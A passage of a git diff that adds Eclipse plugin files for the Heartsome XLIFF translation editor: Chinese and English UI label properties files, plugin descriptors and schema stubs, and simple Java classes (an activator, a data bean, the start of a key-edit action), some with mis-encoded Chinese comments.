+command.insertNextTag = \u63d2\u5165\u4e0b\u4e00\u6807\u8bb0 +command.innerTagShowState = \u6807\u8bb0\u663e\u793a\u72b6\u6001 +command.showTagIndex = \u7b80\u5355 +command.showSimpleTag = \u666e\u901a +command.showWholeTag = \u5b8c\u6574 +command.deleteAllTags = \u5220\u9664\u6240\u6709\u6807\u8bb0 + +menu.edit.editSource = \u7f16\u8f91\u6e90\u6587 +menu.edit.editCurrentSource = \u7f16\u8f91\u5f53\u524d\u6e90\u6587 +menu.edit.editAllSource = \u7f16\u8f91\u6240\u6709\u6e90\u6587 +menu.edit.cancelEditSource = \u53d6\u6d88\u7f16\u8f91\u6e90\u6587 +toolbar.editCurrentSource = \u7f16\u8f91\u5f53\u524d\u6e90\u6587 +toolbar.editAllSource = \u7f16\u8f91\u6240\u6709\u6e90\u6587 +toolbar.cancelEditSource = \u53d6\u6d88\u7f16\u8f91\u6e90\u6587 +command.editSource = \u7f16\u8f91\u6e90\u6587 +command.editCurrentSource = \u7f16\u8f91\u5f53\u524d\u6e90\u6587 +command.editAllSource = \u7f16\u8f91\u6240\u6709\u6e90\u6587 +command.cancelEditSource = \u53d6\u6d88\u7f16\u8f91\u6e90\u6587 + +menu.translation = \u7ffb\u8bd1(&T) +category.translation = \u7ffb\u8bd1 +menu.translation.copySource = \u590d\u5236\u6e90\u6587\u5230\u76ee\u6807 +toolbar.translation.copySource = \u590d\u5236\u6e90\u6587\u5230\u76ee\u6807 +command.copySource = \u590d\u5236\u6e90\u6587\u5230\u76ee\u6807 +command.copyAllSource = \u590d\u5236\u6240\u6709\u6e90\u6587\u5230\u76ee\u6807 +menu.translation.completeTranslation = \u5b8c\u6210\u7ffb\u8bd1 +menu.translation.completedAndJumpToNextSegment = \u5b8c\u6210\u7ffb\u8bd1\u5e76\u5230\u4e0b\u4e00\u6587\u672c\u6bb5 +menu.translation.completedAndJumpToNotFullMatch = \u5b8c\u6210\u7ffb\u8bd1\u5e76\u5230\u4e0b\u4e00\u975e\u5b8c\u5168\u5339\u914d +toolbar.completeTranslation = \u5b8c\u6210\u7ffb\u8bd1 +toolbar.completedAndJumpToNextSegment = \u5b8c\u6210\u7ffb\u8bd1\u5e76\u5230\u4e0b\u4e00\u6587\u672c\u6bb5 +toolbar.completedAndJumpToNotFullMatch = \u5b8c\u6210\u7ffb\u8bd1\u5e76\u5230\u4e0b\u4e00\u975e\u5b8c\u5168\u5339\u914d +command.completeTranslation = \u5b8c\u6210\u7ffb\u8bd1 +command.completedAndJumpToNextSegment = \u5b8c\u6210\u7ffb\u8bd1\u5e76\u5230\u4e0b\u4e00\u6587\u672c\u6bb5 +command.completedAndJumpToNotFullMatch = \u5b8c\u6210\u7ffb\u8bd1\u5e76\u5230\u4e0b\u4e00\u975e\u5b8c\u5168\u5339\u914d +menu.translation.ApproveSegment = \u6279\u51c6\u7ffb\u8bd1 +menu.translation.ApproveAndJumpNextSegment = \u6279\u51c6\u7ffb\u8bd1\u5e76\u5230\u4e0b\u4e00\u6587\u672c\u6bb5 +toolbar.translation.ApproveSegment = \u6279\u51c6\u7ffb\u8bd1 +toolbar.translation.ApproveAndJumpNextSegment = \u6279\u51c6\u7ffb\u8bd1\u5e76\u5230\u4e0b\u4e00\u6587\u672c\u6bb5 +command.ApproveSegment = \u6279\u51c6\u7ffb\u8bd1 +command.ApproveAndJumpNextSegment = \u6279\u51c6\u7ffb\u8bd1\u5e76\u5230\u4e0b\u4e00\u6587\u672c\u6bb5 +menu.translation.SignedOff = \u7b7e\u53d1 +command.SignedOff = \u7b7e\u53d1 +menu.translation.FuzzyTranslation = \u7e41\u6b96\u7ffb\u8bd1 +menu.translation.QuickTranslation = \u5feb\u901f\u7ffb\u8bd1 +command.FuzzyTranslation = \u7e41\u6b96\u7ffb\u8bd1 +command.QuickTranslation = \u5feb\u901f\u7ffb\u8bd1 + +menu.project.lockSegment = \u9501\u5b9a/\u89e3\u9501 +menu.project.lockRepeatedSegment = \u9501\u5b9a\u91cd\u590d\u6587\u672c\u6bb5... +command.lockSegment = \u9501\u5b9a/\u89e3\u9501 +command.lockRepeatedSegment = \u9501\u5b9a\u91cd\u590d\u6587\u672c\u6bb5 + +editors.name = XLIFF \u7f16\u8f91\u5668 + +######################## 2012-08-21 \u6dfb\u52a0 ########################################### +menu.edit.editNote = \u7f16\u8f91\u6279\u6ce8... +command.editNote = \u7f16\u8f91\u6279\u6ce8 +######################## 2012-09-24 robert \u6dfb\u52a0 ########################################### +menu.translation.unlockSeg = \u89e3\u9501\u5168\u90e8\u6587\u672c\u6bb5 +######################## 2012-11-13 \u6dfb\u52a0 ########################################### +command.acceptmatch1 = \u9009\u62e9\u7b2c 1 \u4e2a\u5339\u914d +command.acceptmatch2 = \u9009\u62e9\u7b2c 2 \u4e2a\u5339\u914d +command.acceptmatch3 = \u9009\u62e9\u7b2c 3 \u4e2a\u5339\u914d +category.selectmatchcategory = \u9009\u62e9\u5339\u914d + +category.segment.state = \u6587\u672c\u6bb5\u72b6\u6001 +menu.state.pending = \u6709\u7591\u95ee +menu.state.notSendToTM = \u4e0d\u6dfb\u52a0\u5230\u8bb0\u5fc6\u5e93 +menu.state.untranslated = \u672a\u7ffb\u8bd1 +menu.state.draft = \u8349\u7a3f +menu.file.splitXLIFFPoint = XLIFF \u6587\u4ef6\u5206\u5272\u70b9 diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/plugin.xml b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/plugin.xml new file mode 100644 index 0000000..b4b4b83 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/plugin.xml @@ -0,0 +1,1556 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/plugin_en.properties b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/plugin_en.properties new file mode 100644 index 0000000..668eac2 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/plugin_en.properties @@ -0,0 +1,129 @@ +# properties file for locale [zh] +contenttype.name.0 = XLIFF Files +contenttype.name.1 = Skeleton files + +menu.edit.splitSegment = Split Segment +menu.edit.mergeSegment = Merge Segment +command.splitSegment = Split Segment +command.mergeSegment = Merge Segment + +menu.edit.addNote = Add Comment... +menu.edit.deleteNote = Delete Comment +command.addNote = Add Comment +command.deleteNote = Delete Comment + +menu.edit.deleteTranslation = Delete Translations +menu.edit.deleteAltTrans = Delete Pre-stored Match from XLIFF +menu.edit.deleteToEnd = Delete Content behind Current Cursor +menu.edit.deleteToTag = Delete Content before Tag +toolbar.deleteToEnd = Delete Content behind Current Cursor +toolbar.deleteToTag = Delete Content before Tag +command.deleteTranslation = Delete Translations +command.deleteAltTrans = Delete Pre-stored Match from XLIFF +command.deleteToEnd = Delete Content behind Current Cursor +command.deleteToTag = Delete Content before Tag + +menu.edit.quickTags = Quick Insert Tag +menu.edit.insertNextTag = Insert Next Tag +menu.edit.innerTagShowState = Tag Display Mode +menu.edit.showTagIndex = Tag ID +menu.edit.showSimpleTag = Partial Tag Content +menu.edit.showWholeTag = Complete Tag Content +toolbar.showTagIndex = Tag ID +toolbar.showSimpleTag = Partial Tag Content +toolbar.showWholeTag = Complete Tag Content +menu.edit.deleteAllTags = Delete All Tags +command.quickTags = Quick Insert Tag +command.quickTags.num1 = Quick tag 1 +command.quickTags.num2 = Quick tag 2 +command.quickTags.num3 = Quick tag 3 +command.quickTags.num4 = Quick tag 4 +command.quickTags.num5 = Quick tag 5 +command.quickTags.num6 = Quick tag 6 +command.quickTags.num7 = Quick tag 7 +command.quickTags.num8 = Quick tag 8 +command.quickTags.num9 = Quick tag 9 +command.quickTags.num10 = Quick tag 10 +command.insertNextTag = Insert Next Tag +command.innerTagShowState = Tag Display Mode +command.showTagIndex = Simple +command.showSimpleTag = Common +command.showWholeTag = Complete +command.deleteAllTags = Delete All Tags + +menu.edit.editSource = Edit Source +menu.edit.editCurrentSource = Edit Current Source +menu.edit.editAllSource = Edit All Source +menu.edit.cancelEditSource = Cancel Editing Source +toolbar.editCurrentSource = Edit Current Source +toolbar.editAllSource = Edit All Source +toolbar.cancelEditSource = Cancel Editing Source +command.editSource = Edit Source +command.editCurrentSource = Edit Current Source +command.editAllSource = Edit All Source +command.cancelEditSource = Cancel Editing Source + +menu.translation = &Translation +category.translation = Translation +menu.translation.copySource = Copy Source to Target +toolbar.translation.copySource = Copy Source to Target +command.copySource = Copy Source to Target +command.copyAllSource = Copy All Source to Target +menu.translation.completeTranslation = Confirm Translation +menu.translation.completedAndJumpToNextSegment = Confirm Translation and Go to Next Segment +menu.translation.completedAndJumpToNotFullMatch = Confirm translation and Go to Next Fuzzy Match +toolbar.completeTranslation = Confirm Translation +toolbar.completedAndJumpToNextSegment = Confirm Translation and Go to Next Segment +toolbar.completedAndJumpToNotFullMatch = Confirm translation and Go to Next Fuzzy Match +command.completeTranslation = Confirm Translation +command.completedAndJumpToNextSegment = Confirm Translation and Go to Next Segment +command.completedAndJumpToNotFullMatch = Confirm Translation and Go to Next Fuzzy Match +menu.translation.ApproveSegment = Approve Translation +menu.translation.ApproveAndJumpNextSegment = Approve Translation and Go to Next Segment +toolbar.translation.ApproveSegment = Approve Translation +toolbar.translation.ApproveAndJumpNextSegment = Approve Translation and Go to Next Segment +command.ApproveSegment = Approve Translation +command.ApproveAndJumpNextSegment = Approve Translation and Go to Next Segment +menu.translation.SignedOff = Sign off +command.SignedOff = Sign off +menu.translation.FuzzyTranslation = Propagate Translation +menu.translation.QuickTranslation = Quick Translation +command.FuzzyTranslation = Propagate Translation +command.QuickTranslation = Quick Translation + +menu.project.lockSegment = Lock/Unlock +menu.project.lockRepeatedSegment = Lock Repetitions... +command.lockSegment = Lock/Unlock +command.lockRepeatedSegment = Lock Repetitions + +editors.name = XLIFF Editor + +######################## 2012-08-21 \u6dfb\u52a0 ########################################### +menu.edit.editNote = Edit Comment... +command.editNote = Edit Comment +######################## 2012-09-24 robert \u6dfb\u52a0 ########################################### +menu.translation.unlockSeg = Unlock All Segments +######################## 2012-11-13 \u6dfb\u52a0 ########################################### +command.acceptmatch1 = Select Match 1 +command.acceptmatch2 = Select Match 2 +command.acceptmatch3 = Select Match 3 +category.selectmatchcategory = Select Match + +category.segment.state = Segment Status +menu.state.pending = Pending +menu.state.notSendToTM = Not Sent to TM +menu.state.untranslated = Untranslated +menu.state.draft = Draft +menu.file.splitXLIFFPoint = XLIFF Split Point + +category.accepttermcategory = Select Term +command.acceptterm1 = Select Term 1 +command.acceptterm2 = Select Term 2 +command.acceptterm3 = Select Term 3 +command.acceptterm4 = Select Term 4 +command.acceptterm5 = Select Term 5 +command.acceptterm6 = Select Term 6 +command.acceptterm7 = Select Term 7 +command.acceptterm8 = Select Term 8 +command.acceptterm9 = Select Term 9 +command.acceptterm10 = Select Term 10 \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/plugin_zh.properties b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/plugin_zh.properties new file mode 100644 index 0000000..79172a0 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/plugin_zh.properties @@ -0,0 +1,129 @@ +# properties file for locale [zh] +contenttype.name.0 = XLIFF \u6587\u4ef6 +contenttype.name.1 = \u9aa8\u67b6\u6587\u4ef6 + +menu.edit.splitSegment = \u5206\u5272\u6587\u672c\u6bb5 +menu.edit.mergeSegment = \u5408\u5e76\u6587\u672c\u6bb5 +command.splitSegment = \u5206\u5272\u6587\u672c\u6bb5 +command.mergeSegment = \u5408\u5e76\u6587\u672c\u6bb5 + +menu.edit.addNote = \u6dfb\u52a0\u6279\u6ce8... +menu.edit.deleteNote = \u5220\u9664\u6279\u6ce8 +command.addNote = \u6dfb\u52a0\u6279\u6ce8 +command.deleteNote = \u5220\u9664\u6279\u6ce8 + +menu.edit.deleteTranslation = \u5220\u9664\u8bd1\u6587 +menu.edit.deleteAltTrans = \u5220\u9664 XLIFF \u9884\u5b58\u5339\u914d +menu.edit.deleteToEnd = \u5220\u9664\u5149\u6807\u540e\u5185\u5bb9 +menu.edit.deleteToTag = \u5220\u9664\u6807\u8bb0\u524d\u5185\u5bb9 +toolbar.deleteToEnd = \u5220\u9664\u5149\u6807\u540e\u5185\u5bb9 +toolbar.deleteToTag = \u5220\u9664\u6807\u8bb0\u524d\u5185\u5bb9 +command.deleteTranslation = \u5220\u9664\u8bd1\u6587 +command.deleteAltTrans = \u5220\u9664 XLIFF \u9884\u5b58\u5339\u914d +command.deleteToEnd = \u5220\u9664\u5149\u6807\u540e\u5185\u5bb9 +command.deleteToTag = \u5220\u9664\u6807\u8bb0\u524d\u5185\u5bb9 + +menu.edit.quickTags = \u5feb\u901f\u63d2\u5165\u6807\u8bb0 +menu.edit.insertNextTag = \u63d2\u5165\u4e0b\u4e00\u6807\u8bb0 +menu.edit.innerTagShowState = \u6807\u8bb0\u663e\u793a\u72b6\u6001 +menu.edit.showTagIndex = \u7f16\u53f7\u6807\u8bb0 +menu.edit.showSimpleTag = \u90e8\u5206\u6807\u8bb0\u5185\u5bb9 +menu.edit.showWholeTag = \u5b8c\u6574\u6807\u8bb0\u5185\u5bb9 +toolbar.showTagIndex = \u7f16\u53f7\u6807\u8bb0 +toolbar.showSimpleTag = \u90e8\u5206\u6807\u8bb0\u5185\u5bb9 +toolbar.showWholeTag = \u5b8c\u6574\u6807\u8bb0\u5185\u5bb9 +menu.edit.deleteAllTags = \u5220\u9664\u6240\u6709\u6807\u8bb0 +command.quickTags = \u5feb\u901f\u63d2\u5165\u6807\u8bb0 +command.quickTags.num1 = \u5feb\u901f\u6807\u8bb0 1 +command.quickTags.num2 = \u5feb\u901f\u6807\u8bb0 2 +command.quickTags.num3 = \u5feb\u901f\u6807\u8bb0 3 +command.quickTags.num4 = \u5feb\u901f\u6807\u8bb0 4 +command.quickTags.num5 = \u5feb\u901f\u6807\u8bb0 5 +command.quickTags.num6 = \u5feb\u901f\u6807\u8bb0 6 +command.quickTags.num7 = \u5feb\u901f\u6807\u8bb0 7 +command.quickTags.num8 = \u5feb\u901f\u6807\u8bb0 8 +command.quickTags.num9 = \u5feb\u901f\u6807\u8bb0 9 +command.quickTags.num10 = \u5feb\u901f\u6807\u8bb0 10 +command.insertNextTag = \u63d2\u5165\u4e0b\u4e00\u6807\u8bb0 +command.innerTagShowState = \u6807\u8bb0\u663e\u793a\u72b6\u6001 +command.showTagIndex = \u7b80\u5355 +command.showSimpleTag = \u666e\u901a +command.showWholeTag = \u5b8c\u6574 +command.deleteAllTags = \u5220\u9664\u6240\u6709\u6807\u8bb0 + +menu.edit.editSource = \u7f16\u8f91\u6e90\u6587 +menu.edit.editCurrentSource = \u7f16\u8f91\u5f53\u524d\u6e90\u6587 +menu.edit.editAllSource = \u7f16\u8f91\u6240\u6709\u6e90\u6587 +menu.edit.cancelEditSource = \u53d6\u6d88\u7f16\u8f91\u6e90\u6587 +toolbar.editCurrentSource = \u7f16\u8f91\u5f53\u524d\u6e90\u6587 +toolbar.editAllSource = \u7f16\u8f91\u6240\u6709\u6e90\u6587 +toolbar.cancelEditSource = \u53d6\u6d88\u7f16\u8f91\u6e90\u6587 +command.editSource = \u7f16\u8f91\u6e90\u6587 +command.editCurrentSource = \u7f16\u8f91\u5f53\u524d\u6e90\u6587 +command.editAllSource = \u7f16\u8f91\u6240\u6709\u6e90\u6587 +command.cancelEditSource = \u53d6\u6d88\u7f16\u8f91\u6e90\u6587 + +menu.translation = \u7ffb\u8bd1(&T) +category.translation = \u7ffb\u8bd1 +menu.translation.copySource = \u590d\u5236\u6e90\u6587\u5230\u76ee\u6807 +toolbar.translation.copySource = \u590d\u5236\u6e90\u6587\u5230\u76ee\u6807 +command.copySource = \u590d\u5236\u6e90\u6587\u5230\u76ee\u6807 +command.copyAllSource = \u590d\u5236\u6240\u6709\u6e90\u6587\u5230\u76ee\u6807 +menu.translation.completeTranslation = \u5b8c\u6210\u7ffb\u8bd1 +menu.translation.completedAndJumpToNextSegment = \u5b8c\u6210\u7ffb\u8bd1\u5e76\u5230\u4e0b\u4e00\u6587\u672c\u6bb5 +menu.translation.completedAndJumpToNotFullMatch = \u5b8c\u6210\u7ffb\u8bd1\u5e76\u5230\u4e0b\u4e00\u975e\u5b8c\u5168\u5339\u914d +toolbar.completeTranslation = \u5b8c\u6210\u7ffb\u8bd1 +toolbar.completedAndJumpToNextSegment = \u5b8c\u6210\u7ffb\u8bd1\u5e76\u5230\u4e0b\u4e00\u6587\u672c\u6bb5 +toolbar.completedAndJumpToNotFullMatch = \u5b8c\u6210\u7ffb\u8bd1\u5e76\u5230\u4e0b\u4e00\u975e\u5b8c\u5168\u5339\u914d +command.completeTranslation = \u5b8c\u6210\u7ffb\u8bd1 +command.completedAndJumpToNextSegment = \u5b8c\u6210\u7ffb\u8bd1\u5e76\u5230\u4e0b\u4e00\u6587\u672c\u6bb5 +command.completedAndJumpToNotFullMatch = \u5b8c\u6210\u7ffb\u8bd1\u5e76\u5230\u4e0b\u4e00\u975e\u5b8c\u5168\u5339\u914d +menu.translation.ApproveSegment = \u6279\u51c6\u7ffb\u8bd1 +menu.translation.ApproveAndJumpNextSegment = \u6279\u51c6\u7ffb\u8bd1\u5e76\u5230\u4e0b\u4e00\u6587\u672c\u6bb5 +toolbar.translation.ApproveSegment = \u6279\u51c6\u7ffb\u8bd1 +toolbar.translation.ApproveAndJumpNextSegment = \u6279\u51c6\u7ffb\u8bd1\u5e76\u5230\u4e0b\u4e00\u6587\u672c\u6bb5 +command.ApproveSegment = \u6279\u51c6\u7ffb\u8bd1 +command.ApproveAndJumpNextSegment = \u6279\u51c6\u7ffb\u8bd1\u5e76\u5230\u4e0b\u4e00\u6587\u672c\u6bb5 +menu.translation.SignedOff = \u7b7e\u53d1 +command.SignedOff = \u7b7e\u53d1 +menu.translation.FuzzyTranslation = \u7e41\u6b96\u7ffb\u8bd1 +menu.translation.QuickTranslation = \u5feb\u901f\u7ffb\u8bd1 +command.FuzzyTranslation = \u7e41\u6b96\u7ffb\u8bd1 +command.QuickTranslation = \u5feb\u901f\u7ffb\u8bd1 + +menu.project.lockSegment = \u9501\u5b9a/\u89e3\u9501 +menu.project.lockRepeatedSegment = \u9501\u5b9a\u91cd\u590d\u6587\u672c\u6bb5... +command.lockSegment = \u9501\u5b9a/\u89e3\u9501 +command.lockRepeatedSegment = \u9501\u5b9a\u91cd\u590d\u6587\u672c\u6bb5 + +editors.name = XLIFF \u7f16\u8f91\u5668 + +######################## 2012-08-21 \u6dfb\u52a0 ########################################### +menu.edit.editNote = \u7f16\u8f91\u6279\u6ce8... +command.editNote = \u7f16\u8f91\u6279\u6ce8 +######################## 2012-09-24 robert \u6dfb\u52a0 ########################################### +menu.translation.unlockSeg = \u89e3\u9501\u5168\u90e8\u6587\u672c\u6bb5 +######################## 2012-11-13 \u6dfb\u52a0 ########################################### +command.acceptmatch1 = \u9009\u62e9\u7b2c 1 \u4e2a\u5339\u914d +command.acceptmatch2 = \u9009\u62e9\u7b2c 2 \u4e2a\u5339\u914d +command.acceptmatch3 = \u9009\u62e9\u7b2c 3 \u4e2a\u5339\u914d +category.selectmatchcategory = \u9009\u62e9\u5339\u914d + +category.segment.state = \u6587\u672c\u6bb5\u72b6\u6001 +menu.state.pending = \u6709\u7591\u95ee +menu.state.notSendToTM = \u4e0d\u6dfb\u52a0\u5230\u8bb0\u5fc6\u5e93 +menu.state.untranslated = \u672a\u7ffb\u8bd1 +menu.state.draft = \u8349\u7a3f +menu.file.splitXLIFFPoint = XLIFF \u6587\u4ef6\u5206\u5272\u70b9 + +category.accepttermcategory = \u9009\u62e9\u672f\u8bed +command.acceptterm1 = \u9009\u62e9\u7b2c 1 \u4e2a\u672f\u8bed +command.acceptterm2 = \u9009\u62e9\u7b2c 2 \u4e2a\u672f\u8bed +command.acceptterm3 = \u9009\u62e9\u7b2c 3 \u4e2a\u672f\u8bed +command.acceptterm4 = \u9009\u62e9\u7b2c 4 \u4e2a\u672f\u8bed +command.acceptterm5 = \u9009\u62e9\u7b2c 5 \u4e2a\u672f\u8bed +command.acceptterm6 = \u9009\u62e9\u7b2c 6 \u4e2a\u672f\u8bed +command.acceptterm7 = \u9009\u62e9\u7b2c 7 \u4e2a\u672f\u8bed +command.acceptterm8 = \u9009\u62e9\u7b2c 8 \u4e2a\u672f\u8bed +command.acceptterm9 = \u9009\u62e9\u7b2c 9 \u4e2a\u672f\u8bed +command.acceptterm10 = \u9009\u62e9\u7b2c 10 \u4e2a\u672f\u8bed diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/schema/net.heartsome.cat.ts.ui.qa.extension.automaticQA.exsd b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/schema/net.heartsome.cat.ts.ui.qa.extension.automaticQA.exsd new file mode 100644 index 0000000..d142212 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/schema/net.heartsome.cat.ts.ui.qa.extension.automaticQA.exsd @@ -0,0 +1,102 @@ + + + + + + + + + [Enter description of this extension point.] + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + [Enter the first release in which this extension point appears.] + + + + + + + + + [Enter extension point usage example here.] + + + + + + + + + [Enter API information here.] + + + + + + + + + [Enter information about supplied implementation of this extension point.] + + + + + diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/schema/net.heartsome.cat.ts.ui.qa.extension.realTimeSpellCheck.exsd b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/schema/net.heartsome.cat.ts.ui.qa.extension.realTimeSpellCheck.exsd new file mode 100644 index 0000000..8aec2c8 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/schema/net.heartsome.cat.ts.ui.qa.extension.realTimeSpellCheck.exsd @@ -0,0 +1,102 @@ + + + + + + + + + [Enter description of this extension point.] + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + [Enter the first release in which this extension point appears.] + + + + + + + + + [Enter extension point usage example here.] + + + + + + + + + [Enter API information here.] + + + + + + + + + [Enter information about supplied implementation of this extension point.] + + + + + diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/Activator.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/Activator.java new file mode 100644 index 0000000..dd1bd01 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/Activator.java @@ -0,0 +1,62 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable; + +import org.eclipse.jface.resource.ImageDescriptor; +import org.eclipse.ui.plugin.AbstractUIPlugin; +import org.osgi.framework.BundleContext; + +/** + * The activator class controls the plug-in life cycle + */ +public class Activator extends AbstractUIPlugin { + + // The plug-in ID + public static final String PLUGIN_ID = "net.heartsome.cat.ts.ui.xliffeditor.nattable"; + + // The shared instance + private static Activator plugin; + + /** + * The constructor + */ + public Activator() { + } + + /* + * (non-Javadoc) + * + * @see org.eclipse.ui.plugin.AbstractUIPlugin#start(org.osgi.framework.BundleContext) + */ + public void start(BundleContext context) throws Exception { + super.start(context); + plugin = this; + } + + /* + * (non-Javadoc) + * + * @see org.eclipse.ui.plugin.AbstractUIPlugin#stop(org.osgi.framework.BundleContext) + */ + public void stop(BundleContext context) throws Exception { + plugin = null; + super.stop(context); + } + + /** + * Returns the shared instance + * @return the shared instance + */ + public static Activator getDefault() { + return plugin; + } + + /** + * æ供一个图片文件对æ’件的相对路径,返回该图片的æè¿°ä¿¡æ¯ã€‚ + * @param path + * 图片资æºå¯¹æ’件的相对路径。 + * @return the image descriptor + */ + public static ImageDescriptor getImageDescriptor(String path) { + return imageDescriptorFromPlugin(PLUGIN_ID, path); + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/UpdateDataBean.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/UpdateDataBean.java new file mode 100644 index 0000000..b87065f --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/UpdateDataBean.java @@ -0,0 +1,81 @@ +/** + * UpdateDataBean.java + * + * Version information : + * + * Date:2012-6-27 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.ui.xliffeditor.nattable; + +/** + * @author jason + * @version + * @since JDK1.6 + */ +public class UpdateDataBean { + private String text; + private String matchType; + private String quality; + + public UpdateDataBean() { + this.text = ""; + this.matchType = null; + this.quality = null; + } + + public UpdateDataBean(String text, String matchType, String quality) { + this.text = text; + this.matchType = matchType; + this.quality = quality; + } + + /** @return the text */ + public String getText() { + return text; + } + + /** + * @param text + * the text to set + */ + public void setText(String text) { + this.text = text; + } + + /** @return the matchType */ + public String getMatchType() { + return matchType; + } + + /** + * @param matchType + * the matchType to set + */ + public void setMatchType(String matchType) { + this.matchType = matchType; + } + + /** @return the quality */ + public String getQuality() { + return quality; + } + + /** + * @param quality + * the quality to set + */ + public void setQuality(String quality) { + this.quality = quality; + } + + @Override + public String toString() { + return text; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/actions/KeyEditAction.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/actions/KeyEditAction.java new file mode 100644 index 0000000..4176666 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/actions/KeyEditAction.java @@ -0,0 +1,71 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.actions; + +import java.util.Arrays; + +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.HsMultiActiveCellEditor; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.HsMultiCellEditorControl; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.NatTableConstant; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.StyledTextCellEditor; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.layer.LayerUtil; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.propertyTester.DeleteToEndOrToTagPropertyTester; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.utils.NattableUtil; +import net.sourceforge.nattable.NatTable; +import net.sourceforge.nattable.coordinate.PositionCoordinate; +import net.sourceforge.nattable.selection.SelectionLayer; +import net.sourceforge.nattable.selection.command.SelectCellCommand; +import net.sourceforge.nattable.ui.action.IKeyAction; +import net.sourceforge.nattable.ui.matcher.LetterOrDigitKeyEventMatcher; +import net.sourceforge.nattable.viewport.ViewportLayer; + +import org.eclipse.swt.events.KeyEvent; + +/** + * 按下字æ¯é”®ã€æ•°å­—é”®ã€F2,触å‘å•å…ƒæ ¼è¿›å…¥ç¼–è¾‘æ¨¡å¼ + * @author weachy + * @version + * @since JDK1.5 + */ +public class KeyEditAction implements IKeyAction { + + public void 